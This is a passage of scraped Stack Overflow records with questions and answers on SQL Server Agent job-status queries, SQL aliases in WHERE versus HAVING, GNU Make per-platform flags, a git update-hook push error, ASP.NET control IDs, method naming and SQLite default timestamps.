NULLIF(SIGN(LEN(CONVERT(NVARCHAR(256), j.owner_sid)) - 10), -1)) * 0), '') + ISNULL('-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 11), 1))) + CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 12), 1))) * CONVERT(BIGINT, 65536) + CONVERT(BIGINT, NULLIF(SIGN(LEN(CONVERT(NVARCHAR(256), j.owner_sid)) - 12), -1)) * 0), '') + ISNULL('-' + CONVERT(NVARCHAR(12), CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 13), 1))) + CONVERT(BIGINT, UNICODE(RIGHT(LEFT(CONVERT(NVARCHAR(256), j.owner_sid), 14), 1))) * CONVERT(BIGINT, 65536) + CONVERT(BIGINT, NULLIF(SIGN(LEN(CONVERT(NVARCHAR(256), j.owner_sid)) - 14), -1)) * 0), '')) --SHOW as NT SID when unresolved\n , a.start_execution_date\n , a.stop_execution_date\n , t.subsystem\n , t.step_name\nFROM msdb.dbo.sysjobs j\n LEFT OUTER JOIN (SELECT DISTINCT * FROM #list_running_SQL_jobs) r\n ON j.job_id = r.job_id\n LEFT OUTER JOIN msdb.dbo.sysjobactivity a\n ON j.job_id = a.job_id\n AND a.start_execution_date IS NOT NULL\n --AND a.stop_execution_date IS NULL\n AND NOT EXISTS\n (\n SELECT *\n FROM msdb.dbo.sysjobactivity at\n WHERE at.job_id = a.job_id\n AND at.start_execution_date &gt; a.start_execution_date\n )\n LEFT OUTER JOIN sys.dm_exec_sessions p\n ON p.program_name LIKE 'SQLAgent%0x%'\n AND j.job_id = SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 7, 2) + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 5, 2) + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 3, 2) + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 1, 2) + '-' + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 11, 2) + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 9, 2) + '-' + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 15, 2) + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 13, 2) + '-' + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 17, 4) + '-' + SUBSTRING(SUBSTRING(p.program_name, CHARINDEX('0x', p.program_name) + 2, 32), 21, 12)\n LEFT OUTER JOIN msdb.dbo.sysjobhistory h\n ON j.job_id = h.job_id\n AND h.instance_id = a.job_history_id\n LEFT OUTER JOIN msdb.dbo.sysjobsteps t\n ON t.job_id = j.job_id\n AND t.step_id = r.current_step\nORDER BY 1;\n\nDROP TABLE #list_running_SQL_jobs;\n</code></pre>\n" }, { "answer_id": 44828691, "author": "Gojito", "author_id": 7535767, "author_profile": "https://Stackoverflow.com/users/7535767", "pm_score": 2, "selected": false, "text": "<p>This is an old question, but I just had a similar situation where I needed to check on the status of jobs on SQL Server. A lot of people mentioned the sysjobactivity table and pointed to the MSDN documentation which is great. However, I'd also like to highlight the <a href=\"https://msdn.microsoft.com/en-us/library/ms187449(v=sql.105).aspx\" rel=\"nofollow noreferrer\">Job Activity Monitor</a> which provides the status on all jobs that are defined on your server.</p>\n" }, { "answer_id": 62342227, "author": "Venkataraman R", "author_id": 634935, "author_profile": "https://Stackoverflow.com/users/634935", "pm_score": 1, "selected": false, "text": "<p>Below script gets job status for every job on the server. It also tells how many steps are there and what is the currently running step and elasped time.</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT sj.Name,\n CASE\n WHEN sja.start_execution_date IS NULL THEN 'Never ran'\n WHEN sja.start_execution_date IS NOT NULL AND sja.stop_execution_date IS NULL THEN 'Running'\n WHEN sja.start_execution_date IS NOT NULL AND sja.stop_execution_date IS NOT NULL THEN 'Not running'\n END AS 'RunStatus',\n CASE WHEN sja.start_execution_date IS NOT NULL AND sja.stop_execution_date IS NULL then js.StepCount else null end As TotalNumberOfSteps,\n CASE WHEN sja.start_execution_date IS NOT NULL AND sja.stop_execution_date IS NULL then ISNULL(sja.last_executed_step_id+1,js.StepCount) else null end as currentlyExecutingStep,\n CASE WHEN sja.start_execution_date IS NOT NULL AND sja.stop_execution_date IS NULL then datediff(minute, sja.run_requested_date, getdate()) ELSE NULL end as ElapsedTime\nFROM msdb.dbo.sysjobs sj\nJOIN msdb.dbo.sysjobactivity sja\nON sj.job_id = sja.job_id\nCROSS APPLY (SELECT COUNT(*) FROM msdb.dbo.sysjobsteps as js WHERE js.job_id = sj.job_id) as js(StepCount)\nWHERE session_id = (\n SELECT MAX(session_id) FROM msdb.dbo.sysjobactivity)\nORDER BY RunStatus desc\n</code></pre>\n" }, { "answer_id": 67421315, "author": "Geoff Griswald", "author_id": 11372842, "author_profile": "https://Stackoverflow.com/users/11372842", "pm_score": 2, "selected": false, "text": "<p>I used the top-rated answer to create a simple SQL Function to check if a SQL Agent Job is already running:</p>\n<pre><code>-- ===================================================================================\n-- Function: &quot;IsJobAlreadyRunning&quot; | Author: Geoff Griswald | Created: 2021-05-06\n-- Description: Check if a SQL Agent Job is already Running - Return 1 if Yes, 0 if No\n-- ===================================================================================\nCREATE FUNCTION dbo.IsJobAlreadyRunning (@AgentJobName varchar(140))\nRETURNS bit\nAS\nBEGIN\nDECLARE @Result bit = 0\n IF EXISTS (SELECT job.name\n FROM msdb.dbo.sysjobs_view job\n INNER JOIN msdb.dbo.sysjobactivity activity ON job.job_id = activity.job_id\n INNER JOIN msdb.dbo.syssessions sess ON sess.session_id = activity.session_id\n INNER JOIN (SELECT MAX(agent_start_date) AS max_agent_start_date\n FROM msdb.dbo.syssessions) sess_max ON sess.agent_start_date = sess_max.max_agent_start_date\n WHERE run_requested_date IS NOT NULL \n AND stop_execution_date IS NULL\n AND job.name = @AgentJobName)\n SET @Result = 1\nRETURN @Result\nEND;\n</code></pre>\n<p>This is useful because I can call this function and check if the job I want to start is already running before I attempt to start it, without adding a lot of bloat to my code. for example:</p>\n<pre><code>DECLARE @JobName varchar(140) = 'MyAgentJobName'\n IF (SELECT dbo.IsJobAlreadyRunning(@JobName)) = 0\n EXEC msdb.dbo.sp_start_job @JobName\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200195", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20951/" ]
I have a Stored procedure which schedules a job. This Job takes a lot of time to get completed (approx 30 to 40 min). I need to get to know the status of this Job. Below details would help me 1) How to see the list of all jobs that have got scheduled for a future time and are yet to start 2) How to see the the list of jobs running and the time span from when they are running 3) How to see if the job has completed successfully or has stoped in between because of any error.
You could try using the system stored procedure sp\_help\_job. This returns information on the job, its steps, schedules and servers. For example ``` EXEC msdb.dbo.sp_help_job @Job_name = 'Your Job Name' ``` [SQL Books Online](http://msdn.microsoft.com/en-us/library/ms186722(SQL.90).aspx) should contain lots of information about the records it returns. For returning information on multiple jobs, you could try querying the following system tables which hold the various bits of information on the job * msdb.dbo.SysJobs * msdb.dbo.SysJobSteps * msdb.dbo.SysJobSchedules * msdb.dbo.SysJobServers * msdb.dbo.SysJobHistory Their names are fairly self-explanatory (apart from SysJobServers which hold information on when the job last run and the outcome). Again, information on the fields can be found at MSDN. For example, check out the page for [SysJobs](http://msdn.microsoft.com/en-us/library/ms189817.aspx)
200,200
<p>I need to use an alias in the WHERE clause, but It keeps telling me that its an unknown column. Is there any way to get around this issue? I need to select records that have a rating higher than x. Rating is calculated as the following alias:</p> <pre><code>sum(reviews.rev_rating)/count(reviews.rev_id) as avg_rating </code></pre>
[ { "answer_id": 200203, "author": "Paul Dixon", "author_id": 6521, "author_profile": "https://Stackoverflow.com/users/6521", "pm_score": 9, "selected": true, "text": "<p>You could use a HAVING clause, which <em>can</em> see the aliases, e.g.</p>\n\n<pre><code> HAVING avg_rating&gt;5\n</code></pre>\n\n<p>but in a where clause you'll need to repeat your expression, e.g. </p>\n\n<pre><code> WHERE (sum(reviews.rev_rating)/count(reviews.rev_id))&gt;5\n</code></pre>\n\n<p>BUT! Not all expressions will be allowed - using an aggregating function like SUM will not work, in which case you'll need to use a HAVING clause.</p>\n\n<p>From the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/select.html\" rel=\"noreferrer\">MySQL Manual</a>:</p>\n\n<blockquote>\n <p>It is not allowable to refer to a\n column alias in a WHERE clause,\n because the column value might not yet\n be determined when the WHERE clause\n is executed. See <a href=\"http://dev.mysql.com/doc/refman/5.0/en/problems-with-alias.html\" rel=\"noreferrer\">Section B.1.5.4,\n “Problems with Column Aliases”</a>.</p>\n</blockquote>\n" }, { "answer_id": 200220, "author": "Torbjörn Gyllebring", "author_id": 21182, "author_profile": "https://Stackoverflow.com/users/21182", "pm_score": 5, "selected": false, "text": "<p>I don't know if this works in mysql, but using sqlserver you can also just wrap it like:</p>\n<pre><code>select * from (\n -- your original query\n select .. sum(reviews.rev_rating)/count(reviews.rev_id) as avg_rating \n from ...) Foo\nwhere Foo.avg_rating ...\n</code></pre>\n" }, { "answer_id": 26475400, "author": "alpere", "author_id": 839691, "author_profile": "https://Stackoverflow.com/users/839691", "pm_score": 0, "selected": false, "text": "<p>If your query is static, you can define it as a view then you can use that alias in the where clause while querying the view.</p>\n" }, { "answer_id": 45014896, "author": "Thorsten Kettner", "author_id": 2270762, "author_profile": "https://Stackoverflow.com/users/2270762", "pm_score": 3, "selected": false, "text": "<p>This question is quite old and one answer already gained 160 votes...</p>\n<p>Still I would make this clear: The question is actually <em>not</em> about whether alias names can be used in the <code>WHERE</code> clause.</p>\n<pre><code>sum(reviews.rev_rating) / count(reviews.rev_id) as avg_rating\n</code></pre>\n<p>is an aggregation. In the <code>WHERE</code> clause we restrict records we want from the tables by looking at their values. <code>sum(reviews.rev_rating)</code> and <code>count(reviews.rev_id)</code>, however, are not values we find in a record; they are values we only get after aggregating the records.</p>\n<p>So <code>WHERE</code> is inappropriate. We need <code>HAVING</code>, as we want to restrict result rows after aggregation. It can't be</p>\n<pre><code>WHERE avg_rating &gt; 10\n</code></pre>\n<p>nor</p>\n<pre><code>WHERE sum(reviews.rev_rating) / count(reviews.rev_id) &gt; 10\n</code></pre>\n<p>hence.</p>\n<pre><code>HAVING sum(reviews.rev_rating) / count(reviews.rev_id) &gt; 10\n</code></pre>\n<p>on the other hand is possible and complies with the SQL standard. Whereas</p>\n<pre><code>HAVING avg_rating &gt; 10\n</code></pre>\n<p>is only possible in MySQL. It is not valid SQL according to the standard, as the <code>SELECT</code> clause is supposed to get executed after <code>HAVING</code>. From the MySQL docs:</p>\n<blockquote>\n<p>Another MySQL extension to standard SQL permits references in the HAVING clause to aliased expressions in the select list.</p>\n<p>The MySQL extension permits the use of an alias in the HAVING clause for the aggregated column</p>\n</blockquote>\n<p><a href=\"https://dev.mysql.com/doc/refman/5.7/en/group-by-handling.html\" rel=\"noreferrer\">https://dev.mysql.com/doc/refman/5.7/en/group-by-handling.html</a></p>\n" }, { "answer_id": 57107188, "author": "anson", "author_id": 7532946, "author_profile": "https://Stackoverflow.com/users/7532946", "pm_score": 1, "selected": false, "text": "<pre><code>SELECT * FROM (SELECT customer_Id AS 'custId', gender, age FROM customer\n WHERE gender = 'F') AS c\nWHERE c.custId = 100;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200200", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I need to use an alias in the WHERE clause, but It keeps telling me that its an unknown column. Is there any way to get around this issue? I need to select records that have a rating higher than x. Rating is calculated as the following alias: ``` sum(reviews.rev_rating)/count(reviews.rev_id) as avg_rating ```
You could use a HAVING clause, which *can* see the aliases, e.g. ``` HAVING avg_rating>5 ``` but in a where clause you'll need to repeat your expression, e.g. ``` WHERE (sum(reviews.rev_rating)/count(reviews.rev_id))>5 ``` BUT! Not all expressions will be allowed - using an aggregating function like SUM will not work, in which case you'll need to use a HAVING clause. From the [MySQL Manual](http://dev.mysql.com/doc/refman/5.0/en/select.html): > > It is not allowable to refer to a > column alias in a WHERE clause, > because the column value might not yet > be determined when the WHERE clause > is executed. See [Section B.1.5.4, > “Problems with Column Aliases”](http://dev.mysql.com/doc/refman/5.0/en/problems-with-alias.html). > > >
200,205
<p>I'm experimenting with an updated build system at work; currently, I'm trying to find a good way to set compiler &amp; flags depending on the target platform. </p> <p>What I would like to do is something like</p> <pre><code>switch $(PLATFORM)_$(BUILD_TYPE) case "Linux_x86_release" CFLAGS = -O3 case "Linux_x86_debug" CFLAGS = -O0 -g case "ARM_release" CC = armcc AR = armlink CFLAGS = -O2 -fx ... </code></pre> <p>which is not supported by GNU Make. Now, my first thought was to just do</p> <pre><code>-include $(PLATFORM)_$(BUILD_TYPE) </code></pre> <p>which is a pretty decent solution, however, it makes it hard to get an overview of what differs between files, not to mention that I'm looking forward to writing &amp; maintaining a good 60-80 files, each containing a set of variable definitions.</p> <p>Does anyone happen to know a better way to accomplish this? I.e. setting a set of flags and other options based on another variable?</p>
[ { "answer_id": 200222, "author": "Bruno De Fraine", "author_id": 6918, "author_profile": "https://Stackoverflow.com/users/6918", "pm_score": 3, "selected": false, "text": "<p>Configuring such parameters would be the task of a <code>configure</code> script.</p>\n\n<p>That being said, you can look into the syntax for <a href=\"http://www.gnu.org/software/make/manual/make.html#Conditionals\" rel=\"noreferrer\">conditionals</a> and <a href=\"http://www.gnu.org/software/make/manual/make.html#Conditional-Functions\" rel=\"noreferrer\">conditional functions</a>. For example, you could try the following:</p>\n\n<pre><code>ifeq ($(PLATFORM)_$(BUILD_TYPE),Linux_x86_release)\n CFLAGS = -O3\nendif\nifeq ($(PLATFORM)_$(BUILD_TYPE),Linux_x86_debug)\n CFLAGS = -O0 -g\nendif\n</code></pre>\n" }, { "answer_id": 200241, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 5, "selected": false, "text": "<p>How about:</p>\n\n<pre><code>CFLAGS_Linux_x86_release = -O3\nCFLAGS_Linux_x86_debug = -O0 -g\n\n\nCFLAGS = ${CFLAGS_${PLATFORM}_${BUILD}}\n</code></pre>\n" }, { "answer_id": 201250, "author": "bortzmeyer", "author_id": 15625, "author_profile": "https://Stackoverflow.com/users/15625", "pm_score": -1, "selected": true, "text": "<p>Switching to a system which does it for you (automake/autoconf) may be simpler...</p>\n" }, { "answer_id": 202297, "author": "JesperE", "author_id": 13051, "author_profile": "https://Stackoverflow.com/users/13051", "pm_score": 3, "selected": false, "text": "<p>The <a href=\"https://raw.githubusercontent.com/git/git/master/Makefile\" rel=\"nofollow noreferrer\">Makefile</a> used by <a href=\"https://git-scm.com\" rel=\"nofollow noreferrer\">git</a> is a good example of a Makefile which does non-trivial configuration tasks in the Makefile itself (such as switching on the host type). It's actually quite readable and reasonably simple to use.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200205", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15514/" ]
I'm experimenting with an updated build system at work; currently, I'm trying to find a good way to set compiler & flags depending on the target platform. What I would like to do is something like ``` switch $(PLATFORM)_$(BUILD_TYPE) case "Linux_x86_release" CFLAGS = -O3 case "Linux_x86_debug" CFLAGS = -O0 -g case "ARM_release" CC = armcc AR = armlink CFLAGS = -O2 -fx ... ``` which is not supported by GNU Make. Now, my first thought was to just do ``` -include $(PLATFORM)_$(BUILD_TYPE) ``` which is a pretty decent solution, however, it makes it hard to get an overview of what differs between files, not to mention that I'm looking forward to writing & maintaining a good 60-80 files, each containing a set of variable definitions. Does anyone happen to know a better way to accomplish this? I.e. setting a set of flags and other options based on another variable?
Switching to a system which does it for you (automake/autoconf) may be simpler...
200,213
<p>I've a small project that I want to share with a few others on a machine that we all have access to. I created a bare copy of the local repo with</p> <pre><code>git clone --bare --no-hardlinks path/to/.git/ repoToShare.git </code></pre> <p>I then moved repoToShare.git to the server.</p> <p>I can check it out with the following:</p> <pre><code>git clone ssh://user@address/opt/gitroot/repoToShare.git/ test </code></pre> <p>I can then see everything in the local repo and make commits against that. When I try to push changes back to the remote server I get the following error.</p> <pre><code>*** Project description file hasn't been set error: hooks/update exited with error code 1 error: hook declined to update refs/heads/master </code></pre> <p>Any ideas?</p>
[ { "answer_id": 200232, "author": "MDCore", "author_id": 1896, "author_profile": "https://Stackoverflow.com/users/1896", "pm_score": 5, "selected": true, "text": "<p>Git installs a bunch of pre-configured hooks in the hooks directory, out of the box they do not execute. If you happen to allow execute on them (Eg. chmod +x) then git will try to run them. The particular error pops up cause the default update is failing to run. To fix, delete the default update hook. </p>\n\n<p>Does <a href=\"http://code.google.com/p/msysgit/issues/detail?id=49#c15\" rel=\"noreferrer\">this link</a> help? From the text:</p>\n\n<blockquote>\n <p>A colleague of mine experienced a\n similar issue here where push was not\n working. You could not push to a local\n or remote public repository. He was\n getting a project description file\n hasn't been set error thrown by\n .git/hooks/update. This error was not\n happening for the same project on a\n linux or Windows box, and seemed to be\n happening only on Windows Vista. From\n my research hooks/update is not by\n default executed, but in windows vista\n the file permissions meant that it\n was. Deletion of hooks/update resolved\n these issues.</p>\n</blockquote>\n" }, { "answer_id": 343031, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>Deleting hooks/update is not what you want to do.</p>\n\n<p>Just change .git/description to whatever you want - for instance \"FOOBAR repository\", or, if you are French, \"Le depot de FOOBAR\".</p>\n" }, { "answer_id": 509398, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I got this error as well when pushing from Mac OS X (Git version 1.6.1, compiled with <a href=\"http://en.wikipedia.org/wiki/MacPorts\" rel=\"nofollow noreferrer\">MacPorts</a>) to an Ubuntu remote repository (Git version 1.5.4.3)</p>\n\n<p>I've added the name of repository in the <code>.git</code>/description file on both the local and remote repository and that fixed it.</p>\n" }, { "answer_id": 3032019, "author": "Dominic Webb", "author_id": 104354, "author_profile": "https://Stackoverflow.com/users/104354", "pm_score": 0, "selected": false, "text": "<p>I had the same issue as @dragulesq but with a <a href=\"http://en.wikipedia.org/wiki/Red_Hat_Linux\" rel=\"nofollow noreferrer\">Red Hat</a> server.</p>\n\n<p>To be a bit more verbose just put whatever you want as a string in the .git/description file on your local (in my case my Mac OS X); I put <em>website</em> and then on the remote server that hosts the Git repo (as so to speak) edit the .git/description file and put the same string in again (e.g. <em>website</em>).</p>\n" }, { "answer_id": 6402019, "author": "ppetrid", "author_id": 733211, "author_profile": "https://Stackoverflow.com/users/733211", "pm_score": 1, "selected": false, "text": "<p>chmod -x hooks/update </p>\n\n<p>the above command executed from your .git directory will only remove execute permissions from the update hook. No need to delete the file</p>\n" }, { "answer_id": 7122006, "author": "rodrigomanhaes", "author_id": 362945, "author_profile": "https://Stackoverflow.com/users/362945", "pm_score": 1, "selected": false, "text": "<p>Delete file or prevent its execution seem extreme solutions. If you don't want to add a project description, it's enough comment or delete the lines in hooks/update that are blocking the push actions. In my file, these lines are:</p>\n\n<pre><code># check for no description\nprojectdesc=$(sed -e '1q' \"$GIT_DIR/description\")\nif [ -z \"$projectdesc\" -o \"$projectdesc\" = \"Unnamed repository; edit this file to name it for gitweb.\" ]; then\n echo \"*** Project description file hasn't been set\" &gt;&amp;2\n exit 1\nfi\n</code></pre>\n\n<p>When I commented them out, everything worked fine.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200213", "https://Stackoverflow.com", "https://Stackoverflow.com/users/85/" ]
I've a small project that I want to share with a few others on a machine that we all have access to. I created a bare copy of the local repo with ``` git clone --bare --no-hardlinks path/to/.git/ repoToShare.git ``` I then moved repoToShare.git to the server. I can check it out with the following: ``` git clone ssh://user@address/opt/gitroot/repoToShare.git/ test ``` I can then see everything in the local repo and make commits against that. When I try to push changes back to the remote server I get the following error. ``` *** Project description file hasn't been set error: hooks/update exited with error code 1 error: hook declined to update refs/heads/master ``` Any ideas?
Git installs a bunch of pre-configured hooks in the hooks directory, out of the box they do not execute. If you happen to allow execute on them (Eg. chmod +x) then git will try to run them. The particular error pops up cause the default update is failing to run. To fix, delete the default update hook. Does [this link](http://code.google.com/p/msysgit/issues/detail?id=49#c15) help? From the text: > > A colleague of mine experienced a > similar issue here where push was not > working. You could not push to a local > or remote public repository. He was > getting a project description file > hasn't been set error thrown by > .git/hooks/update. This error was not > happening for the same project on a > linux or Windows box, and seemed to be > happening only on Windows Vista. From > my research hooks/update is not by > default executed, but in windows vista > the file permissions meant that it > was. Deletion of hooks/update resolved > these issues. > > >
200,247
<p>I don't understand it. </p> <p>The ids of html elements in the master page are changed by the same id but with a prefix and it's breaking the css design.</p> <p>In the master page I have:</p> <pre><code>&lt;div id="container" runat="server"&gt; &lt;asp:ContentPlaceHolder ... ... </code></pre> <p>The above code is rendered</p> <pre><code>&lt;div id="ctl00_ctloo_container"&gt; ... </code></pre> <p>And the CSS styles are gone obviously.</p> <p>How do I stop it?</p> <p>Thanks!</p>
[ { "answer_id": 200263, "author": "Biri", "author_id": 968, "author_profile": "https://Stackoverflow.com/users/968", "pm_score": 1, "selected": false, "text": "<p>AFAIK you cannot do this. This is the default behaviour because of the control tree.</p>\n\n<p>If you would like to use CSS then set the CSS class directly, don't depend on IDs, like</p>\n\n<pre><code>&lt;asp:Whatever runat=\"server\" id=\"whatever\" CssClass=\"whateverClass\"&gt;\n</code></pre>\n\n<p><strong>Update:</strong> <a href=\"https://stackoverflow.com/questions/38998/can-i-stop-net-eating-ids\">Here</a> is a similair thread, but it won't help on your CSS problem.</p>\n" }, { "answer_id": 200300, "author": "JacquesB", "author_id": 7488, "author_profile": "https://Stackoverflow.com/users/7488", "pm_score": 3, "selected": true, "text": "<p>WebForms should only rewrite the ID's of server controls (like <code>&lt;asp:ContentPlaceHolder /&gt;</code>, not ordinary HTML element like <code>&lt;div id=\"container\"&gt;</code> without <code>runat=\"server\"</code></p>\n\n<p>You cannot prevent the framework from rewriting ID's on server controls. You can use class names instead, though.</p>\n" }, { "answer_id": 200343, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Do you need the runat=\"server\" tag? If you do not do anything with the div element in your code-behind, remove it.</p>\n" }, { "answer_id": 200363, "author": "Gaizka Allende", "author_id": 460927, "author_profile": "https://Stackoverflow.com/users/460927", "pm_score": -1, "selected": false, "text": "<p>I do not need the runat=\"server\" tag and have removed it. Don't know why it was there ... Ids are not changed now. Thanks</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200247", "https://Stackoverflow.com", "https://Stackoverflow.com/users/460927/" ]
I don't understand it. The ids of html elements in the master page are changed by the same id but with a prefix and it's breaking the css design. In the master page I have: ``` <div id="container" runat="server"> <asp:ContentPlaceHolder ... ... ``` The above code is rendered ``` <div id="ctl00_ctloo_container"> ... ``` And the CSS styles are gone obviously. How do I stop it? Thanks!
WebForms should only rewrite the ID's of server controls (like `<asp:ContentPlaceHolder />`, not ordinary HTML element like `<div id="container">` without `runat="server"` You cannot prevent the framework from rewriting ID's on server controls. You can use class names instead, though.
200,286
<p>we had a heated discussion about a method name. </p> <p>We have a class <code>User</code>. There is property called "Groups" on the user. It contains all groups that contain the user directly. That's ok. What we have problem with, is the name of the method that would recursively list all user's groups and their "parent" groups and return list of all groups, of which the user can be considered as member.</p> <pre><code>User u = &lt;get user&gt;; IList&lt;UserGroup&gt; groups = u.XYZ(); Console.WriteLine("User {0} is member of: ", u); foreach(UserGroup g in groups) Console.WriteLine("{0}", g); </code></pre> <p>My colleagues brought:</p> <pre><code>u.GetAllGroups(); // what groups? u.GetMemberOfGroups(); // doesn't make sense u.GroupsIAmMemberOf(); // long u.MemberOf(); // short, but the description is wrong u.GetRolesForUser(); // we don't work with roles, so GetGroupsForUser ? u.GetOccupiedGroups(); // is the meaning correct? </code></pre> <p>What name would you propose?</p>
[ { "answer_id": 200288, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 1, "selected": false, "text": "<p>I think I would choose:</p>\n\n<pre><code>u.GetGroupMembership()\n</code></pre>\n" }, { "answer_id": 200296, "author": "Owen", "author_id": 4853, "author_profile": "https://Stackoverflow.com/users/4853", "pm_score": 1, "selected": false, "text": "<pre><code>u.GetGroups()\n</code></pre>\n\n<p>unless there was some ambiguity about the meaning of groups in your application, i suppose. (i like typing less when possible!)</p>\n" }, { "answer_id": 200298, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 1, "selected": true, "text": "<p>I agree with Greg, but would make it simpler:</p>\n\n<pre><code> u.GroupMembership();\n</code></pre>\n\n<p>I think appending the verb Get is kind of useless, given\n the return type (List of Groups)</p>\n" }, { "answer_id": 200304, "author": "Panos", "author_id": 8049, "author_profile": "https://Stackoverflow.com/users/8049", "pm_score": 1, "selected": false, "text": "<p>Given that there are no parameters, I suggest a property e.g.</p>\n\n<pre><code>u.Groups;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>u.UserGroups; // if Groups is ambiguous\n</code></pre>\n" }, { "answer_id": 200381, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I'm from Stej's team:-) There is already property called \"Groups\" on the user. It contains all groups that contain the user directly. That's ok. </p>\n\n<p>What we have problem with, is the name of the method that would recursively list all user's groups and their \"parent\" groups and return list of all groups, of which the user can be considered as member.</p>\n" }, { "answer_id": 200383, "author": "J c", "author_id": 25837, "author_profile": "https://Stackoverflow.com/users/25837", "pm_score": 2, "selected": false, "text": "<p>In the interests of <a href=\"http://en.wikipedia.org/wiki/Cohesion_(computer_science)\" rel=\"nofollow noreferrer\">high cohesion and low coupling</a>, I would suggest keeping that functionality out of your User class entirely. It should also be easier to implement caching for multiple calls if that functionality was in a different class.</p>\n\n<p>For example:</p>\n\n<pre><code>User u = &lt;get user&gt;;\nIList&lt;UserGroup&gt; groups = SecurityModel.Groups.getMembership(u);\n</code></pre>\n\n<p>You then have the option to cache the group/user memberships in the Groups object, improving efficiency for future group membership requests for other users.</p>\n" }, { "answer_id": 200416, "author": "J c", "author_id": 25837, "author_profile": "https://Stackoverflow.com/users/25837", "pm_score": 0, "selected": false, "text": "<p>Depending on what environment you guys are working in, you may be able to leverage existing frameworks for this sort of thing rather than rolling your own. If you are using .NET 2.0 or higher, I'd suggest leveraging the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.security.roleprovider.aspx\" rel=\"nofollow noreferrer\">System.Web.Security.RoleProvider</a> class. A previous answer of mine has more thoughts on this <a href=\"https://stackoverflow.com/questions/199252/what-is-the-best-way-to-manage-permissions-for-a-web-application-bitmask-or-dat#199312\">here</a>.</p>\n" }, { "answer_id": 200440, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Roles are flat, we need something more powerful. We don't want to be bound to web environment either.</p>\n" }, { "answer_id": 253222, "author": "Yarik", "author_id": 31415, "author_profile": "https://Stackoverflow.com/users/31415", "pm_score": 1, "selected": false, "text": "<pre><code>if (the signature of the property Groups cannot be changed)\n{\n I think you are screwed\n and the best thing I can think of\n is another property named AllGroups\n // u.Groups and u.GetWhatever() look very inconsistently\n}\nelse\n{\n if (you are okay with using the term \"group\")\n {\n I would select one of these variants:\n {\n a pair of properties named ParentGroups and AncestorGroups\n }\n or\n { \n a parameterized method or property Groups(Level)\n where Level can be either PARENTS (default) or ANCESTORS\n }\n }\n else\n {\n I would consider replacing \"group\" with \"membership\"\n and then I would select one of these variants:\n {\n a pair of properties named DirectMemberships and AllMemberships\n }\n or\n { \n a parameterized method or property Memberships(Level)\n where Level can be either DIRECT_ONLY (default) or ALL\n }\n }\n}\n</code></pre>\n\n<p>Does any of this make any sense? ;-)</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200286", "https://Stackoverflow.com", "https://Stackoverflow.com/users/75224/" ]
we had a heated discussion about a method name. We have a class `User`. There is property called "Groups" on the user. It contains all groups that contain the user directly. That's ok. What we have problem with, is the name of the method that would recursively list all user's groups and their "parent" groups and return list of all groups, of which the user can be considered as member. ``` User u = <get user>; IList<UserGroup> groups = u.XYZ(); Console.WriteLine("User {0} is member of: ", u); foreach(UserGroup g in groups) Console.WriteLine("{0}", g); ``` My colleagues brought: ``` u.GetAllGroups(); // what groups? u.GetMemberOfGroups(); // doesn't make sense u.GroupsIAmMemberOf(); // long u.MemberOf(); // short, but the description is wrong u.GetRolesForUser(); // we don't work with roles, so GetGroupsForUser ? u.GetOccupiedGroups(); // is the meaning correct? ``` What name would you propose?
I agree with Greg, but would make it simpler: ``` u.GroupMembership(); ``` I think appending the verb Get is kind of useless, given the return type (List of Groups)
200,309
<p>How to create a table with a timestamp column that defaults to <code>DATETIME('now')</code>?</p> <p>Like this:</p> <pre><code>CREATE TABLE test ( id INTEGER PRIMARY KEY AUTOINCREMENT, t TIMESTAMP DEFAULT DATETIME('now') ); </code></pre> <p>This gives an error.</p>
